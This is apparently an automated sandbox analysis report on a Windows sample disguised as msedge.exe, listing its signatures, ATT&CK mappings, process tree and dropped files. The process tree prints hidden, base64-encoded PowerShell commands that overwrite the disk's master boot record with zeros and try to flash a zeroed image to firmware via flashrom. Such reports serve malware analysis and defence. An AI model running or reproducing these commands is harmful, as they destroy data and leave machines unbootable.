c92181f1511afc52f73eb2653789addca570e338956c5b1d2d4d91ffc9da53d3

Analysis

user interaction
yes
max time kernel
72s
max time network
74s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/08/2026, 08:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
msedge.exe
Size 41KB
Sample260803-ksazmseq4x
SHA256 c92181f1511afc52f73eb2653789addca570e338956c5b1d2d4d91ffc9da53d3
MD5 3327629e32260bba932130b5a9e92dc6
SHA1 f1f4ebab7f190241a06bb30d1b8b0eac224f6a72
SHA512 3f83f8f20dc30da5fc3a6b204aae8460b2b376e5a18e6cc7e465ba8a976aaede89571aeedf8ef937f491c6e39d17024fd59f8c397f95f65b01aace6a147c1f0d
SSDEEP 768:AK80TEIghWxOa+KwRSZSjobg+Q/T3sfyEE8mLk5U0:c0TEIghWxOaxwRSZqobg+QAfzj40
TLSH
T14C13185FEA7920D2E9B9E03CC596712AF9B035E103B15BC35791862A0B737E4B93D384
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

bootkit execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2380	powershell.exe
6048	powershell.exe
2880	powershell.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	powershell.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
204	cmd.exe
5832	cmd.exe
5804	cmd.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "7"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2880	powershell.exe
2880	powershell.exe
2880	powershell.exe
2380	powershell.exe
2380	powershell.exe
2380	powershell.exe
6048	powershell.exe
6048	powershell.exe
6048	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	2380	powershell.exe
Token: SeDebugPrivilege	6048	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3564	LogonUI.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 5428 wrote to memory of 5804	5428	msedge.exe	103
PID 5804 wrote to memory of 2880	5804	cmd.exe	105
PID 5428 wrote to memory of 204	5428	msedge.exe	107
PID 204 wrote to memory of 2380	204	cmd.exe	109
PID 5428 wrote to memory of 5832	5428	msedge.exe	110
PID 5832 wrote to memory of 6048	5832	cmd.exe	112

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5428
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnADIAMgAyACcALAAgACcATgBvAHQAaQBjAGUAJwAsACAAMAAsACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AEkAYwBvAG4AXQA6ADoAVwBhAHIAbgBpAG4AZwApAA==
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnADIAMgAyACcALAAgACcATgBvAHQAaQBjAGUAJwAsACAAMAAsACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AEkAYwBvAG4AXQA6ADoAVwBhAHIAbgBpAG4AZwApAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2880
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell -NoProfile -WindowStyle Hidden -EncodedCommand JABpAG0AZwBQAGEAdABoACAAPQAgACQAZQBuAHYAOgBUAEUATQBQACAAKwAgACcAXABkAHUAbQBtAHkALgBiAGkAbgAnADsAJABuAHUAbABsAEIAeQB0AGUAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAAoADEANgAgACoAIAAxADAAMgA0ACAAKgAgADEAMAAyADQAKQA7AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAkAGkAbQBnAFAAYQB0AGgALAAgACQAbgB1AGwAbABCAHkAdABlAHMAKQA7AFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAnAFsAKgBdACAAIQQ+BDcENAQwBD0EIAA9BEMEOwQ1BDIEPgQ5BCAAPgQxBEAEMAQ3BC4AIAAfBD4EPwRLBEIEOgQwBCAAPwQ1BEAENQQ3BDAEPwQ4BEEEOAQgAD8EQAQ+BEgEOAQyBDoEOAQuAC4ALgAnADsAaQBmACAAKABHAGUAdAAtAEMAbwBtAG0AYQBuAGQAIABmAGwAYQBzAGgAcgBvAG0AIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAgAHsAIAAgACAAIABmAGwAYQBzAGgAcgBvAG0AIAAtAHAAIABpAG4AdABlAHIAbgBhAGwAIAAtAHcAIAAkAGkAbQBnAFAAYQB0AGgAfQAgAGUAbABzAGUAIAB7ACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACcAWwAtAF0AIAAeBEgEOAQxBDoEMAQ6ACAARgBsAGEAcwBoAHIAbwBtACAAPQQ1BCAAPQQwBDkENAQ1BD0EIAAyBCAAQQQ4BEEEQgQ1BDwENQQuACAAHwRABE8EPAQ+BDkEIAA0BD4EQQRCBEMEPwQgADoEIABTAFAASQAgADcEMAQxBDsEPgQ6BDgEQAQ+BDIEMAQ9BCAARwQ4BD8EQQQ1BEIEPgQ8BC4AJwB9AA==
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -EncodedCommand JABpAG0AZwBQAGEAdABoACAAPQAgACQAZQBuAHYAOgBUAEUATQBQACAAKwAgACcAXABkAHUAbQBtAHkALgBiAGkAbgAnADsAJABuAHUAbABsAEIAeQB0AGUAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAAoADEANgAgACoAIAAxADAAMgA0ACAAKgAgADEAMAAyADQAKQA7AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAkAGkAbQBnAFAAYQB0AGgALAAgACQAbgB1AGwAbABCAHkAdABlAHMAKQA7AFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAnAFsAKgBdACAAIQQ+BDcENAQwBD0EIAA9BEMEOwQ1BDIEPgQ5BCAAPgQxBEAEMAQ3BC4AIAAfBD4EPwRLBEIEOgQwBCAAPwQ1BEAENQQ3BDAEPwQ4BEEEOAQgAD8EQAQ+BEgEOAQyBDoEOAQuAC4ALgAnADsAaQBmACAAKABHAGUAdAAtAEMAbwBtAG0AYQBuAGQAIABmAGwAYQBzAGgAcgBvAG0AIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAgAHsAIAAgACAAIABmAGwAYQBzAGgAcgBvAG0AIAAtAHAAIABpAG4AdABlAHIAbgBhAGwAIAAtAHcAIAAkAGkAbQBnAFAAYQB0AGgAfQAgAGUAbABzAGUAIAB7ACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACcAWwAtAF0AIAAeBEgEOAQxBDoEMAQ6ACAARgBsAGEAcwBoAHIAbwBtACAAPQQ1BCAAPQQwBDkENAQ1BD0EIAAyBCAAQQQ4BEEEQgQ1BDwENQQuACAAHwRABE8EPAQ+BDkEIAA0BD4EQQRCBEMEPwQgADoEIABTAFAASQAgADcEMAQxBDsEPgQ6BDgEQAQ+BDIEMAQ9BCAARwQ4BD8EQQQ1BEIEPgQ8BC4AJwB9AA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2380
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell -NoProfile -WindowStyle Hidden -EncodedCommand JABkAGkAcwBrACAAPQAgAFsATQBpAGMAcgBvAHMAbwBmAHQALgBXAGkAbgAzADIALgBTAGEAZgBlAEYAaQBsAGUASABhAG4AZABsAGUAXQA6ADoAWgBlAHIAbwA7ACQAaABhAG4AZABsAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAFMAYQBmAGUASABhAG4AZABsAGUAXQA7ACQAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBPAHAAZQBuACgAJwBcAFwALgBcAFAAaAB5AHMAaQBjAGEAbABEAHIAaQB2AGUAMAAnACwAIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBNAG8AZABlAF0AOgA6AE8AcABlAG4ALAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAEEAYwBjAGUAcwBzAF0AOgA6AFcAcgBpAHQAZQApADsAJAB6AGUAcgBvAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAANQAxADIAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHoAZQByAG8AcwAsACAAMAAsACAANQAxADIAKQA7ACQAcwAuAEMAbABvAHMAZQAoACkAOwBXAHIAaQB0AGUALQBIAG8AcwB0ACAAJwBbACsAXQAgAE0AQgBSACAAQwRBBD8ENQRIBD0EPgQgADcEMARCBDUEQARCBCAAPQRDBDsETwQ8BDgEIQAnAA==
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -EncodedCommand JABkAGkAcwBrACAAPQAgAFsATQBpAGMAcgBvAHMAbwBmAHQALgBXAGkAbgAzADIALgBTAGEAZgBlAEYAaQBsAGUASABhAG4AZABsAGUAXQA6ADoAWgBlAHIAbwA7ACQAaABhAG4AZABsAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAFMAYQBmAGUASABhAG4AZABsAGUAXQA7ACQAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBPAHAAZQBuACgAJwBcAFwALgBcAFAAaAB5AHMAaQBjAGEAbABEAHIAaQB2AGUAMAAnACwAIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBNAG8AZABlAF0AOgA6AE8AcABlAG4ALAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAEEAYwBjAGUAcwBzAF0AOgA6AFcAcgBpAHQAZQApADsAJAB6AGUAcgBvAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAANQAxADIAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHoAZQByAG8AcwAsACAAMAAsACAANQAxADIAKQA7ACQAcwAuAEMAbABvAHMAZQAoACkAOwBXAHIAaQB0AGUALQBIAG8AcwB0ACAAJwBbACsAXQAgAE0AQgBSACAAQwRBBD8ENQRIBD0EPgQgADcEMARCBDUEQARCBCAAPQRDBDsETwQ8BDgEIQAnAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Writes to the Master Boot Record (MBR)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6048

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa38ad855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:3564

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Defense Evasion

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 021636a793f57f23b16356c5b84fdf0122fdcadfaba305e4df4654bfbfa442bd
MD5 614f88cf39eb3223246afec4bf1463b4
SHA1 74d738ee6fdada75ac1ef1645073005e3f6b6cfb
SHA512 84a7151e0471e659699a15c25d9063af1975e79bb5f23de6b3bc0d3b96cd161d70ad35f6acdbc8123b38bac9918df8b202bd6f1f4ca8061919074973e6063a77
TLSH
T1A471DD313276B1D8C9163F071E2919C053BF4356EA94AF1CB698625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a01318682fcfd9620b650a481d0f6668a44cb2dc09aa98a43f4c5851562c4670
MD5 c42e99a8806a65bf6beef36bebfb95b5
SHA1 9aa1dbc778637604d8eaac84de130e3112641ef2
SHA512 cc55dc242c3164b052cf26372a42b30dfb53ad5b2217939c4a0cfbc8b4b1c28e00eeba34118407b9c4c18a4c713fc44e46383a462e1eb605b222a54ca1aa0781
TLSH
T1FA218423B38C8922CC8A013A509DAC1032B183D741AECE8FAFC4D605E07F984CB71594
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 74fda67c64dc54464bfa5ef4795897806e0c54cde9b9632b44078dba7b83ae23
MD5 0b2e4cc8f2584906b8a90ff773feb321
SHA1 2f7b9f3c337da5245b4ec656560d3cf1d8ffd774
SHA512 b495805d3ab4dc2b8bd24cd79bd782aa61ba6b0d5de27853255e15dd10ee1daa5684dffc4b9c63c86b5dd26196d0f3bd9693774f0fe0f8451d5496680a6c3b55
TLSH
T1F9218637B79C8A21CC86113A009DAC10727683C741AEDF8F7AC0C214A07F584CB716A0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_0azraxje.h2a.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0azraxje.h2a.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

BlockPing.DVR-MS

Path C:\Users\Admin\Desktop\BlockPing.DVR-MS
Size 292KB
SHA256 547b3de5cce4a0830fcc53a868bc7bd2ced9682c9f1044fa9ae5157f8032ab7f
MD5 5955d3e3103baca71b797363a4c8fb1a
SHA1 f1f4aad100b575d32b7199b6e719247c5479d24e
SHA512 24c20e80760df85d6d397ea6f55f5f2a783e6c8955b79d8a19355fac621fc7b3fd417c7faba15c28b3bedeeb3af31a8a3369c6327066cf2ba58e76a0e9bd3b98
SSDEEP 6144:jYLzO3KUt6c9oopeZ2kjQhg5HEQKX7l9Nwh:E2Rt6WoCC2kj4Xuh
TLSH
T1FC54237C935B91AD56202F55ADF9F4C3F020226EAF069589282E3189F31ED4BE70537B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LimitRestore.TS

Path C:\Users\Admin\Desktop\LimitRestore.TS
Size 515KB
SHA256 d87776621beaa0556c99c722a85eb4e58e7c1ddb811549ed586018b4555a93ce
MD5 216225684ce7f0327654f73d147e0d85
SHA1 0d6dbd04ac11c03a57849364b28a9cd9a7b1d4b5
SHA512 4331f8708dc46a7e0eed8ee2ec498d80ba5e27963920618b04f7640bff3929336e2ac57727d8d80f6bf75891b4faa9d23503231b28fd936b3b5a857ab84f8029
SSDEEP 12288:BCg++rse8lwfNPwhV239kyhn1K5Z7KmvH9x2+IbeFCNPWVIPO:UN+r1ZVPwhV239kiKZvv9k+IbeFCNXG
TLSH
T1E5B4234A2CE880B1593F72EB87616C6FFE1D49BB07017AFB442DCB2918541B0C657EA7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RevokeUnprotect.zip

Path C:\Users\Admin\Desktop\RevokeUnprotect.zip
Size 404KB
SHA256 1f4d11eba1fc0533ff0ec8a75307a30cb6e8f09e9772d7e1a04d1979f3d8532e
MD5 f6cba30299b93013a778c21a0dcfc82b
SHA1 2876a453a619055f0e930529ec3b5dfae1e1b39f
SHA512 441c37e5119029a9aeaac117927f6df709bed9e59065627acae75b7673d10bfd328cfb9f1a18e27bed712feb4d6882976e3bfaacaa4697f032191498f924bc73
SSDEEP 6144:aPr2khOlsyW7CgmlEo3q0BzDixaBQ3UeVTRLz++LaY0fmBmwLulMoJ936gh9xr6c:sRjMEoBBewyVT5jmTj8YMu9Znxn3Vum
TLSH
T1A194237E84059459A00F404B4ABBF1B0B9AB95E144E66716EF0DCF7CBC6F6B0AC99F01
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SearchLock.vb

Path C:\Users\Admin\Desktop\SearchLock.vb
Size 738KB
SHA256 2ae4085a07b978efa9a79950c60845a6e7b5aa0e586702afb6a6ce18aef2d27a
MD5 2bd8f0fe136d71fce4f87b64fdab6fc5
SHA1 f17d7cfc30ce1f5c220a4f40019f64fdb67334be
SHA512 e50f2b9155a4982934805097366e34fddad07eb57ad299726180e1cc8327654488fe583213f0fa8c0332aa4f88b4d7d00f58ae127a17dba7c0830f49746011a1
SSDEEP 12288:XogFde4u0JdoGHX7jEVEichFvrEMEcC5khvU9ooqss60ntlUxfqmhmR:pFYr4EVErhFvrwcbvm060rgfqmhmR
TLSH
T1F0F4335D27EB92AA094CA8972E162CA7D5203C899D73266A5640C3D7FECC614F3DDFC0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Acrobat Reader DC.lnk

Path C:\Users\Public\Desktop\Acrobat Reader DC.lnk
Size 2KB
SHA256 3fe512496552a0d4380106f5ff6c5fcc3d04a6d483d7aae164355e2f36937708
MD5 c166d8f1b491c4f2828fbc9c687a2903
SHA1 4dea02375f52c6285a138a4ad41865ae5e44cb93
SHA512 91a7ff2201e9ca9cc7f7482a5dccb903f9a63f25bce1c938369d6fc50c76d379f07d714fe768fd210800a16296bea20261a66e3be6300f926b782d96f6e14402
TLSH
T1C941CC850FE71326F2339AF6AAF20526EA32BC05A6159E5E018943470D71F01E89CF6F
MD5 SHA1 SHA512 TLSH

Submit Download

Google Chrome.lnk

Path C:\Users\Public\Desktop\Google Chrome.lnk
Size 2KB
SHA256 a79985aad2130fd6a65f1bd02a918610785a5b328a0b0556df9d8c6ff48d9b04
MD5 a994647a8cfabe0793d9c8eedc073f01
SHA1 394a4007db29c9b003a5cdbba6b4c58136630563
SHA512 8d13e4463c006fa100f81cfb8eee92071d1ca7e066f238f4bec9fded46229b580d6621da90b2ca8b9116558b2ca88d7b6c91127d62248bb3c3972c8af08e7297
TLSH
T1E3418A0527FA5738F2F38E32A9733B210F3BF81BD9144A5E60C552840CE5A26498CB7B
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2380-14-0x000002C078330000-0x000002C078340000-memory.dmp

Download

memory/2380-13-0x000002C078330000-0x000002C078340000-memory.dmp

Download

memory/2880-1-0x000002704F4A0000-0x000002704F4B0000-memory.dmp

Download

memory/2880-2-0x0000027051620000-0x0000027051642000-memory.dmp

Download

memory/2880-0-0x000002704F4A0000-0x000002704F4B0000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads